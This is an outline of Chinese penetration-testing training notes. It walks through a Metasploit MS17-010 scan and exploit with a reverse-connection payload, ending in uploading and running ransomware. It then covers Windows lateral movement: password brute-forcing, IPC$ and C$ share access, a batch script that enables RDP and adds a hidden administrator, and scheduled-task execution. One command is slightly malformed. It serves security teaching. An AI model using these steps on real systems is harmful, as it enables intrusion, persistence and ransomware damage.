网络空间安全实训-渗透测试

• 漏洞扫描

  • 定义

    • 扫描和探测目标范围内的主机存在哪些安全漏洞，或扫描目标范围内的那些主机存在某个指定的漏洞

  • 漏扫工具

    • AWVS

    • APPScan

    • MSF

  • 使用MSF扫描漏洞并利用

    • 1.搜索需要的攻击模块

      • search ms17-010

    • 2.使用攻击模块

      • use 模块名称

    • 3.设置扫描范围

      • set rhosts 192.168.12.0/24

    • 4.设置扫描线程

      • set thread 50

    • 5.开始扫描

      • run

    • 6.更换攻击模块为漏洞利用

    • 7.查看可用攻击载荷

      • show payloads

    • 8.设置攻击载荷

      • set payload 攻击载荷名称

    • 9.设置被攻击主机IP地址

      • set rhost IP地址

    • 10.设置反向连接的控制机IP地址

      • set lhost IP地址

    • 11.开始攻击

      • run

    • 12.上传病毒

      • upload 本地文件路径 远程主机路径

    • 13.执行勒索病毒

      • execute -f 勒索病毒路径

• Windows内网渗透

  • 1.扫描对方操作系统和开放的端口

    • 确定对方是Windows系统开启了445接口

  • 2.针对该端口服务暴力破解Windows管理员账号密码

  • 3.与对方建立空连接

    • net use \\对方ip地址\ipc$

    • 需要输入对方的管理员账号密码

  • 4.制作开启RDP和创建管理员账户的脚本bat

    • REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f

    • net user 用户名 密码 /add

    • net local group administrator 用户名 /add

  • 5.访问对方C盘默认共享，将bat复制到对方C盘

    • 在文件资源管理器地址栏中输入 \\对方IP地址\c$

  • 6.查看对方的系统时间

    • net time \\对方IP地址

  • 7.给对方创建任务计划，定时执行BAT程序，开启RDP

    • at \\对方ip地址 时间 执行的文件路径

  • 8.使用先前创建的管理员账号登陆RDP